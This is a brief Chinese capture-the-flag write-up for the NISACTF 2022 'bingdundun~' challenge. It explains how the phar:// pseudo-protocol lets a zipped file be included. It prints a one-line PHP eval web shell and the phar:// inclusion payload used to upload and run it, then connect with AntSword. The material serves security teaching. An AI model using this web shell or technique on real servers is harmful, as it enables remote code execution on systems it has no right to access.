[NISACTF 2022]bingdundun~-wp

进入题目,发现有URL传参,提示只能上传图片或者压缩包,猜测使用phar伪协议

什么是phar伪协议呢? 

phar://伪协议是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell。php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式。

简单来说,就是我们写一个一句话木马,然后压缩成.zip,然后再用phar伪协议解压。

所用一句话木马1.php如下:

<?=@ eval($_POST['cmd'])?>

将其压缩成1.zip并上传

然后由于这道题会自动补全.php文件尾,所以payload:

xxxxxxx/?bingdundun=phar://xxxxxxxx.zip/1

蚁剑连接即可得到flag 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值